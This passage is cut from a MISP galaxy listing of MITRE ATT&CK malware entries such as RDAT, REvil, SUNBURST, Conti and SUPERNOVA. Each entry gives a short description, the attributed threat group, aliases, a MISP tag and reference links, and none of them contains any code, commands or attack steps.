https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/

RDAT - S0495

[RDAT](https://attack.mitre.org/software/S0495) is a backdoor used by the suspected Iranian threat group [OilRig](https://attack.mitre.org/groups/G0049). [RDAT](https://attack.mitre.org/software/S0495) was originally identified in 2017 and targeted companies in the telecommunications sector.(Citation: Unit42 RDAT July 2020)

The tag is: *misp-galaxy:mitre-malware="RDAT - S0495"*

RDAT - S0495 is also known as:

- RDAT

Table 11564. Table References

Links
https://attack.mitre.org/software/S0495
https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/

SilkBean - S0549

[SilkBean](https://attack.mitre.org/software/S0549) is a piece of Android surveillanceware

containing comprehensive remote access tool (RAT) functionality that has been used in targeting of the Uyghur ethnic group.(Citation: Lookout Uyghur Campaign)

The tag is: *misp-galaxy:mitre-malware="SilkBean - S0549"*

SilkBean - S0549 is also known as:

- SilkBean

Table 11565. Table References

Links
https://attack.mitre.org/software/S0549
https://www.lookout.com/documents/threat-reports/us/lookout-uyghur-malware-tr-us.pdf

MechaFlounder - S0459

[MechaFlounder](https://attack.mitre.org/software/S0459) is a python-based remote access tool (RAT) that has been used by [APT39](https://attack.mitre.org/groups/G0087). The payload uses a combination of actor developed code and code snippets freely available online in development communities.(Citation: Unit 42 MechaFlounder March 2019)

The tag is: *misp-galaxy:mitre-malware="MechaFlounder - S0459"*

MechaFlounder - S0459 is also known as:

- MechaFlounder

Table 11566. Table References

Links
https://attack.mitre.org/software/S0459
https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/

SpicyOmelette - S0646

[SpicyOmelette](https://attack.mitre.org/software/S0646) is a JavaScript based remote access tool that has been used by [Cobalt Group](https://attack.mitre.org/groups/G0080) since at least 2018.(Citation: Secureworks GOLD KINGSWOOD September 2018)

The tag is: *misp-galaxy:mitre-malware="SpicyOmelette - S0646"*

SpicyOmelette - S0646 is also known as:

- SpicyOmelette

Table 11567. Table References

Links

https://attack.mitre.org/software/S0646
https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish

Pandora - S0664

[Pandora](https://attack.mitre.org/software/S0664) is a multistage kernel rootkit with backdoor functionality that has been in use by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2020.(Citation: Trend Micro Iron Tiger April 2021)

The tag is: *misp-galaxy:mitre-malware="Pandora - S0664"*

Pandora - S0664 is also known as:

- Pandora

Table 11568. Table References

Links
https://attack.mitre.org/software/S0664
https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html

WindTail - S0466

[WindTail](https://attack.mitre.org/software/S0466) is a macOS surveillance implant used by [Windshift](https://attack.mitre.org/groups/G0112). [WindTail](https://attack.mitre.org/software/S0466) shares code similarities with Hack Back aka KitM OSX.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)

The tag is: *misp-galaxy:mitre-malware="WindTail - S0466"*

WindTail - S0466 is also known as:

- WindTail

Table 11569. Table References

Links
https://attack.mitre.org/software/S0466
https://objective-see.com/blog/blog_0x3B.html
https://objective-see.com/blog/blog_0x3D.html
https://www.scribd.com/document/661837258/WINDSHIFT-summit-archive-1554718868

CharmPower - S0674

[CharmPower](https://attack.mitre.org/software/S0674) is a PowerShell-based, modular backdoor that has been used by [Magic Hound](https://attack.mitre.org/groups/G0059) since at least 2022.(Citation: Check Point APT35 CharmPower January 2022)

The tag is: *misp-galaxy:mitre-malware="CharmPower - S0674"*

CharmPower - S0674 is also known as:

- CharmPower

Table 11570. Table References

Links
https://attack.mitre.org/software/S0674
https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/

TajMahal - S0467

[TajMahal](https://attack.mitre.org/software/S0467) is a multifunctional spying framework that has been in use since at least 2014. [TajMahal](https://attack.mitre.org/software/S0467) is comprised of two separate packages, named Tokyo and Yokohama, and can deploy up to 80 plugins.(Citation: Kaspersky TajMahal April 2019)

The tag is: *misp-galaxy:mitre-malware="TajMahal - S0467"*

TajMahal - S0467 is also known as:

- TajMahal

Table 11571. Table References

Links
https://attack.mitre.org/software/S0467
https://securelist.com/project-tajmahal/90240/

Turian - S0647

[Turian](https://attack.mitre.org/software/S0647) is a backdoor that has been used by [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, [Turian](https://attack.mitre.org/software/S0647) is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.(Citation: ESET BackdoorDiplomacy Jun 2021)

The tag is: *misp-galaxy:mitre-malware="Turian - S0647"*

Turian - S0647 is also known as:

- Turian

Table 11572. Table References

Links
https://attack.mitre.org/software/S0647
https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/

Valak - S0476

[Valak](https://attack.mitre.org/software/S0476) is a multi-stage modular malware that can function as a standalone information stealer or downloader, first observed in 2019 targeting enterprises in the US and Germany.(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)

The tag is: *misp-galaxy:mitre-malware="Valak - S0476"*

Valak - S0476 is also known as:

- Valak

Table 11573. Table References

Links
https://attack.mitre.org/software/S0476
https://unit42.paloaltonetworks.com/valak-evolution/
https://www.cybereason.com/blog/valak-more-than-meets-the-eye

Bonadan - S0486

[Bonadan](https://attack.mitre.org/software/S0486) is a malicious version of OpenSSH which acts as a custom backdoor. [Bonadan](https://attack.mitre.org/software/S0486) has been active since at least 2018 and combines a new cryptocurrency-mining module with the same credential-stealing module used by the Onderon family of backdoors.(Citation: ESET ForSSHe December 2018)

The tag is: *misp-galaxy:mitre-malware="Bonadan - S0486"*

Bonadan - S0486 is also known as:

- Bonadan

Table 11574. Table References

Links
https://attack.mitre.org/software/S0486
https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf

Skidmap - S0468

[Skidmap](https://attack.mitre.org/software/S0468) is a kernel-mode rootkit used for cryptocurrency mining.(Citation: Trend Micro Skidmap)

The tag is: *misp-galaxy:mitre-malware="Skidmap - S0468"*

Skidmap - S0468 is also known as:

- Skidmap

Table 11575. Table References

Links
https://attack.mitre.org/software/S0468
https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/

ABK - S0469

[ABK](https://attack.mitre.org/software/S0469) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)

The tag is: *misp-galaxy:mitre-malware="ABK - S0469"*

ABK - S0469 is also known as:

- ABK

Table 11576. Table References

Links
https://attack.mitre.org/software/S0469
https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf

SMOKEDHAM - S0649

[SMOKEDHAM](https://attack.mitre.org/software/S0649) is a Powershell-based .NET backdoor that was first reported in May 2021; it has been used by at least one ransomware-as-a-service affiliate.(Citation: FireEye Shining A Light on DARKSIDE May 2021)(Citation: FireEye SMOKEDHAM June 2021)

The tag is: *misp-galaxy:mitre-malware="SMOKEDHAM - S0649"*

SMOKEDHAM - S0649 is also known as:

- SMOKEDHAM

Table 11577. Table References

Links
https://attack.mitre.org/software/S0649
https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html
https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html

DRATzarus - S0694

[DRATzarus](https://attack.mitre.org/software/S0694) is a remote access tool (RAT) that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) to target the defense and aerospace organizations globally since at least summer 2020. [DRATzarus](https://attack.mitre.org/software/S0694) shares similarities with [Bankshot](https://attack.mitre.org/software/S0239), which was used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in 2017 to target the Turkish financial sector.(Citation: ClearSky Lazarus Aug 2020)

The tag is: *misp-galaxy:mitre-malware="DRATzarus - S0694"*

DRATzarus - S0694 is also known as:

- DRATzarus

Table 11578. Table References

Links
https://attack.mitre.org/software/S0694
https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf

REvil - S0496

[REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496), which as been used against organizations in the manufacturing, transportation, and electric sectors, is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)

The tag is: *misp-galaxy:mitre-malware="REvil - S0496"*

REvil - S0496 is also known as:

- REvil
- Sodin
- Sodinokibi

Table 11579. Table References

Links
https://attack.mitre.org/software/S0496
https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html
https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/
https://securelist.com/sodin-ransomware/91473/
https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html
https://web.archive.org/web/20210414101816/https://tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis/
https://www.gdatasoftware.com/blog/2019/06/31724-strange-bits-sodinokibi-spam-cinarat-and-fake-g-data
https://www.group-ib.com/whitepapers/ransomware-uncovered.html
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/
https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware
https://www.secureworks.com/blog/revil-the-gandcrab-connection
https://www.secureworks.com/research/revil-sodinokibi-ransomware

Goopy - S0477

[Goopy](https://attack.mitre.org/software/S0477) is a Windows backdoor and Trojan used by [APT32](https://attack.mitre.org/groups/G0050) and shares several similarities to another backdoor used by the group ([Denis](https://attack.mitre.org/software/S0354)). [Goopy](https://attack.mitre.org/software/S0477) is named for its impersonation of the legitimate Google Updater executable.(Citation: Cybereason Cobalt Kitty 2017)

The tag is: *misp-galaxy:mitre-malware="Goopy - S0477"*

Goopy - S0477 is also known as:

- Goopy

Table 11580. Table References

Links
https://attack.mitre.org/software/S0477
https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf

EventBot - S0478

[EventBot](https://attack.mitre.org/software/S0478) is an Android banking trojan and information stealer that abuses Android's accessibility service to steal data from various applications.(Citation: Cybereason EventBot) [EventBot](https://attack.mitre.org/software/S0478) was designed to target over 200 different banking and financial applications, the majority of which are European bank and cryptocurrency exchange applications.(Citation: Cybereason EventBot)

The tag is: *misp-galaxy:mitre-malware="EventBot - S0478"*

EventBot - S0478 is also known as:

- EventBot

Table 11581. Table References

Links
https://attack.mitre.org/software/S0478
https://www.cybereason.com/blog/eventbot-a-new-mobile-banking-trojan-is-born

Kessel - S0487

[Kessel](https://attack.mitre.org/software/S0487) is an advanced version of OpenSSH which acts as a custom backdoor, mainly acting to steal credentials and function as a bot. [Kessel](https://attack.mitre.org/software/S0487) has been active since its C2 domain began resolving in August 2018.(Citation: ESET ForSSHe December 2018)

The tag is: *misp-galaxy:mitre-malware="Kessel - S0487"*

Kessel - S0487 is also known as:

- Kessel

Table 11582. Table References

Links
https://attack.mitre.org/software/S0487
https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf

Dacls - S0497

[Dacls](https://attack.mitre.org/software/S0497) is a multi-platform remote access tool used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least December 2019.(Citation: TrendMicro macOS Dacls May 2020)(Citation: SentinelOne Lazarus macOS July 2020)

The tag is: *misp-galaxy:mitre-malware="Dacls - S0497"*

Dacls - S0497 is also known as:

- Dacls

Table 11583. Table References

Links
https://attack.mitre.org/software/S0497
https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/
https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/

WolfRAT - S0489

[WolfRAT](https://attack.mitre.org/software/S0489) is malware based on a leaked version of [Dendroid](https://attack.mitre.org/software/S0301) that has primarily targeted Thai users. [WolfRAT](https://attack.mitre.org/software/S0489) has most likely been operated by the now defunct organization Wolf Research.(Citation: Talos-WolfRAT)

The tag is: *misp-galaxy:mitre-malware="WolfRAT - S0489"*

WolfRAT - S0489 is also known as:

- WolfRAT

Table 11584. Table References

Links
https://attack.mitre.org/software/S0489
https://blog.talosintelligence.com/2020/05/the-wolf-is-back.html

Cryptoistic - S0498

[Cryptoistic](https://attack.mitre.org/software/S0498) is a backdoor, written in Swift, that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032).(Citation: SentinelOne Lazarus macOS July 2020)

The tag is: *misp-galaxy:mitre-malware="Cryptoistic - S0498"*

Cryptoistic - S0498 is also known as:

- Cryptoistic

Table 11585. Table References

Links
https://attack.mitre.org/software/S0498

https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/

Hancitor - S0499

[Hancitor](https://attack.mitre.org/software/S0499) is a downloader that has been used by [Pony](https://attack.mitre.org/software/S0453) and other information stealing malware.(Citation: Threatpost Hancitor)(Citation: FireEye Hancitor)

The tag is: *misp-galaxy:mitre-malware="Hancitor - S0499"*

Hancitor - S0499 is also known as:

- Hancitor
- Chanitor

Table 11586. Table References

Links
https://attack.mitre.org/software/S0499
https://threatpost.com/spammers-revive-hancitor-downloader-campaigns/123011/
https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html

CHEMISTGAMES - S0555

[CHEMISTGAMES](https://attack.mitre.org/software/S0555) is a modular backdoor that has been deployed by [Sandworm Team](https://attack.mitre.org/groups/G0034).(Citation: CYBERWARCON CHEMISTGAMES)

The tag is: *misp-galaxy:mitre-malware="CHEMISTGAMES - S0555"*

CHEMISTGAMES - S0555 is also known as:

- CHEMISTGAMES

Table 11587. Table References

Links
https://attack.mitre.org/software/S0555
https://www.youtube.com/watch?v=xoNSbm1aX_w

BusyGasper - S0655

[BusyGasper](https://attack.mitre.org/software/S0655) is Android spyware that has been in use since May 2016. There have been less than 10 victims, all who appear to be located in Russia, that were all infected via physical access to the device.(Citation: SecureList BusyGasper)

The tag is: *misp-galaxy:mitre-malware="BusyGasper - S0655"*

BusyGasper - S0655 is also known as:

- BusyGasper

Table 11588. Table References

Links
https://attack.mitre.org/software/S0655
https://securelist.com/busygasper-the-unfriendly-spy/87627/

Raindrop - S0565

[Raindrop](https://attack.mitre.org/software/S0565) is a loader used by [APT29](https://attack.mitre.org/groups/G0016) that was discovered on some victim machines during investigations related to the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024). It was discovered in January 2021 and was likely used since at least May 2020.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)

The tag is: *misp-galaxy:mitre-malware="Raindrop - S0565"*

Raindrop - S0565 is also known as:

- Raindrop

Table 11589. Table References

Links
https://attack.mitre.org/software/S0565
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware
https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/

Conti - S0575

[Conti](https://attack.mitre.org/software/S0575) is a Ransomware-as-a-Service (RaaS) that was first observed in December 2019. [Conti](https://attack.mitre.org/software/S0575) has been deployed via [TrickBot](https://attack.mitre.org/software/S0266) and used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using [Conti](https://attack.mitre.org/software/S0575) steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020)

The tag is: *misp-galaxy:mitre-malware="Conti - S0575"*

Conti - S0575 is also known as:

- Conti

Table 11590. Table References

Links
https://attack.mitre.org/software/S0575
https://cybleinc.com/2021/01/21/conti-ransomware-resurfaces-targeting-government-large-organizations/
https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/
https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware

Kerrdown - S0585

[Kerrdown](https://attack.mitre.org/software/S0585) is a custom downloader that has been used by [APT32](https://attack.mitre.org/groups/G0050) since at least 2018 to install spyware from a server on the victim's network.(Citation: Amnesty Intl. Ocean Lotus February 2021)(Citation: Unit 42 KerrDown February 2019)

The tag is: *misp-galaxy:mitre-malware="Kerrdown - S0585"*

Kerrdown - S0585 is also known as:

- Kerrdown

Table 11591. Table References

Links
https://attack.mitre.org/software/S0585
https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/
https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf

SUNBURST - S0559

[SUNBURST](https://attack.mitre.org/software/S0559) is a trojanized DLL designed to fit within the SolarWinds Orion software update framework. It was used by [APT29](https://attack.mitre.org/groups/G0016) since at least February 2020.(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)

The tag is: *misp-galaxy:mitre-malware="SUNBURST - S0559"*

SUNBURST - S0559 is also known as:

- SUNBURST
- Solorigate

Table 11592. Table References

Links
https://attack.mitre.org/software/S0559
https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/
https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/

ThiefQuest - S0595

[ThiefQuest](https://attack.mitre.org/software/S0595) is a virus, data stealer, and wiper that presents itself as ransomware targeting macOS systems. [ThiefQuest](https://attack.mitre.org/software/S0595) was first seen in 2020 distributed via trojanized pirated versions of popular macOS software on Russian forums sharing torrent links.(Citation: Reed thiefquest fake ransom) Even though [ThiefQuest](https://attack.mitre.org/software/S0595) presents itself as ransomware, since the dynamically generated encryption key is never sent to the attacker it may be more appropriately thought of as a form of wiper malware.(Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)

The tag is: *misp-galaxy:mitre-malware="ThiefQuest - S0595"*

ThiefQuest - S0595 is also known as:

- ThiefQuest
- MacRansom.K
- EvilQuest

Table 11593. Table References

Links
https://attack.mitre.org/software/S0595
https://blog.malwarebytes.com/detections/osx-thiefquest/
https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/
https://objective-see.com/blog/blog_0x60.html
https://www.sentinelone.com/blog/evilquest-a-new-macos-malware-rolls-ransomware-spyware-and-data-theft-into-one/

ThreatNeedle - S0665

[ThreatNeedle](https://attack.mitre.org/software/S0665) is a backdoor that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2019 to target cryptocurrency, defense, and mobile gaming organizations. It is considered to be an advanced cluster of [Lazarus

Group](https://attack.mitre.org/groups/G0032)'s Manuscrypt (a.k.a. NukeSped) malware family.(Citation: Kaspersky ThreatNeedle Feb 2021)

The tag is: *misp-galaxy:mitre-malware="ThreatNeedle - S0665"*

ThreatNeedle - S0665 is also known as:

- ThreatNeedle

Table 11594. Table References

Links
https://attack.mitre.org/software/S0665
https://securelist.com/lazarus-threatneedle/100803/

BLUELIGHT - S0657

[BLUELIGHT](https://attack.mitre.org/software/S0657) is a remote access Trojan used by [APT37](https://attack.mitre.org/groups/G0067) that was first observed in early 2021.(Citation: Volexity InkySquid BLUELIGHT August 2021)

The tag is: *misp-galaxy:mitre-malware="BLUELIGHT - S0657"*

BLUELIGHT - S0657 is also known as:

- BLUELIGHT

Table 11595. Table References

Links
https://attack.mitre.org/software/S0657
https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/

MegaCortex - S0576

[MegaCortex](https://attack.mitre.org/software/S0576) is ransomware that first appeared in May 2019. (Citation: IBM MegaCortex) [MegaCortex](https://attack.mitre.org/software/S0576) has mainly targeted industrial organizations. (Citation: FireEye Ransomware Disrupt Industrial Production)(Citation: FireEye Financial Actors Moving into OT)

The tag is: *misp-galaxy:mitre-malware="MegaCortex - S0576"*

MegaCortex - S0576 is also known as:

- MegaCortex

Table 11596. Table References

Links

https://attack.mitre.org/software/S0576
https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/
https://www.fireeye.com/blog/threat-research/2020/02/ransomware-against-machine-learning-to-disrupt-industrial-production.html
https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html

Dtrack - S0567

[Dtrack](https://attack.mitre.org/software/S0567) is spyware that was discovered in 2019 and has been used against Indian financial institutions, research facilities, and the Kudankulam Nuclear Power Plant. [Dtrack](https://attack.mitre.org/software/S0567) shares similarities with the DarkSeoul campaign, which was attributed to [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: Kaspersky Dtrack)(Citation: Securelist Dtrack)(Citation: Dragos WASSONITE)(Citation: CyberBit Dtrack)(Citation: ZDNet Dtrack)

The tag is: *misp-galaxy:mitre-malware="Dtrack - S0567"*

Dtrack - S0567 is also known as:

- Dtrack

Table 11597. Table References

Links
https://attack.mitre.org/software/S0567
https://securelist.com/my-name-is-dtrack/93338/
https://usa.kaspersky.com/about/press-releases/2019_dtrack-previously-unknown-spy-tool-hits-financial-institutions-and-research-centers
https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/
https://www.dragos.com/threat/wassonite/
https://www.zdnet.com/article/confirmed-north-korean-malware-found-on-indian-nuclear-plants-network/

TAINTEDSCRIBE - S0586

[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) is a fully-featured beaconing implant integrated with command modules used by [Lazarus Group](https://attack.mitre.org/groups/G0032). It was first reported in May 2020.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)

The tag is: *misp-galaxy:mitre-malware="TAINTEDSCRIBE - S0586"*

TAINTEDSCRIBE - S0586 is also known as:

- TAINTEDSCRIBE

Table 11598. Table References

Links
https://attack.mitre.org/software/S0586
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b

XCSSET - S0658

[XCSSET](https://attack.mitre.org/software/S0658) is a modular macOS malware family delivered through infected Xcode projects and executed when the project is compiled. Active since August 2020, it has been observed installing backdoors, spoofed browsers, collecting data, and encrypting user files. It is composed of SHC-compiled shell scripts and run-only AppleScripts, often hiding in apps that mimic system tools (such as Xcode, Mail, or Notes) or use familiar icons (like Launchpad) to avoid detection.(Citation: trendmicro xcsset xcode project 2020)(Citation: April 2021 TrendMicro XCSSET)(Citation: Microsoft March 2025 XCSSET)

The tag is: *misp-galaxy:mitre-malware="XCSSET - S0658"*

XCSSET - S0658 is also known as:

- XCSSET
- OSX.DubRobber

Table 11599. Table References

Links
https://attack.mitre.org/software/S0658
https://blog.malwarebytes.com/detections/osx-dubrobber/
https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf
https://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/
https://www.trendmicro.com/en_us/research/21/d/xcsset-quickly-adapts-to-macos-11-and-m1-based-macs.html

EVILNUM - S0568

[EVILNUM](https://attack.mitre.org/software/S0568) is fully capable backdoor that was first identified in 2018. [EVILNUM](https://attack.mitre.org/software/S0568) is used by the APT group [Evilnum](https://attack.mitre.org/groups/G0120) which has the same name.(Citation: ESET EvilNum July 2020)(Citation: Prevailion EvilNum May 2020)

The tag is: *misp-galaxy:mitre-malware="EVILNUM - S0568"*

EVILNUM - S0568 is also known as:

- EVILNUM

Table 11600. Table References

Links
https://attack.mitre.org/software/S0568
https://web.archive.org/web/20221209052853/https://www.prevailion.com/phantom-in-the-command-shell-2/
https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/

PowerPunch - S0685

[PowerPunch](https://attack.mitre.org/software/S0685) is a lightweight downloader that has been used by [Gamaredon Group](https://attack.mitre.org/groups/G0047) since at least 2021.(Citation: Microsoft Actinium February 2022)

The tag is: *misp-galaxy:mitre-malware="PowerPunch - S0685"*

PowerPunch - S0685 is also known as:

- PowerPunch

Table 11601. Table References

Links
https://attack.mitre.org/software/S0685
https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/

Diavol - S0659

[Diavol](https://attack.mitre.org/software/S0659) is a ransomware variant first observed in June 2021 that is capable of prioritizing file types to encrypt based on a pre-configured list of extensions defined by the attacker. The [Diavol](https://attack.mitre.org/software/S0659) Ransomware-as-a Service (RaaS) program is managed by [Wizard Spider](https://attack.mitre.org/groups/G0102) and it has been observed being deployed by [Bazar](https://attack.mitre.org/software/S0534).(Citation: Fortinet Diavol July 2021)(Citation: FBI Flash Diavol January 2022)(Citation: DFIR Diavol Ransomware December 2021)(Citation: Microsoft Ransomware as a Service)

The tag is: *misp-galaxy:mitre-malware="Diavol - S0659"*

Diavol - S0659 is also known as:

- Diavol

Table 11602. Table References

Links
https://attack.mitre.org/software/S0659

https://thedfirreport.com/2021/12/13/diavol-ransomware/
https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider
https://www.ic3.gov/CSA/2022/220120.pdf
https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/

Explosive - S0569

[Explosive](https://attack.mitre.org/software/S0569) is a custom-made remote access tool used by the group [Volatile Cedar](https://attack.mitre.org/groups/G0123). It was first identified in the wild in 2015.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)

The tag is: *misp-galaxy:mitre-malware="Explosive - S0569"*

Explosive - S0569 is also known as:

- Explosive

Table 11603. Table References

Links
https://attack.mitre.org/software/S0569
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf
https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf

ShadowPad - S0596

[ShadowPad](https://attack.mitre.org/software/S0596) is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by [APT41](https://attack.mitre.org/groups/G0096), but has since been observed to be used by various Chinese threat activity groups. (Citation: Recorded Future RedEcho Feb 2021)(Citation: Securelist ShadowPad Aug 2017)(Citation: Kaspersky ShadowPad Aug 2017)

The tag is: *misp-galaxy:mitre-malware="ShadowPad - S0596"*

ShadowPad - S0596 is also known as:

- ShadowPad
- POISONPLUG.SHADOW

Table 11604. Table References

Links

https://attack.mitre.org/software/S0596
https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf
https://securelist.com/shadowpad-in-corporate-networks/81432/
https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf

FrozenCell - S0577

[FrozenCell](https://attack.mitre.org/software/S0577) is the mobile component of a family of surveillanceware, with a corresponding desktop component known as KasperAgent and [Micropsia](https://attack.mitre.org/software/S0339).(Citation: Lookout FrozenCell)

There are multiple close variants of [FrozenCell](https://attack.mitre.org/software/S0577), such as VAMP(Citation: Unit42 VAMP 2017), GnatSpy(Citation: Trendmicro GnatSpy 2017), [Desert Scorpion](https://attack.mitre.org/software/S0505) and [SpyC23](https://attack.mitre.org/software/S1195), which add some additional functionality but are not significantly different from the original malware.

The tag is: *misp-galaxy:mitre-malware="FrozenCell - S0577"*

FrozenCell - S0577 is also known as:

- FrozenCell

Table 11605. Table References

Links
https://attack.mitre.org/software/S0577
https://blog.lookout.com/frozencell-mobile-threat
https://unit42.paloaltonetworks.com/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/
https://www.trendmicro.com/en_us/research/17/l/new-gnatspy-mobile-malware-family-discovered.html

SUPERNOVA - S0578

[SUPERNOVA](https://attack.mitre.org/software/S0578) is an in-memory web shell written in .NET C#. It was discovered in November 2020 during the investigation of [APT29](https://attack.mitre.org/groups/G0016)'s SolarWinds cyber operation but determined to be unrelated. Subsequent analysis suggests [SUPERNOVA](https://attack.mitre.org/software/S0578) may have been used by the China-based threat group SPIRAL.(Citation: Guidepoint SUPERNOVA Dec 2020)(Citation: Unit42 SUPERNOVA Dec 2020)(Citation: SolarWinds Advisory Dec 2020)(Citation: CISA Supernova Jan 2021)(Citation: Microsoft Analyzing Solorigate Dec 2020)

The tag is: *misp-galaxy:mitre-malware="SUPERNOVA - S0578"*

SUPERNOVA - S0578 is also known as:

- SUPERNOVA

Table 11606. Table References

Links
https://attack.mitre.org/software/S0578
https://unit42.paloaltonetworks.com/solarstorm-supernova/
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a
https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/
https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/
https://www.solarwinds.com/sa-overview/securityadvisory

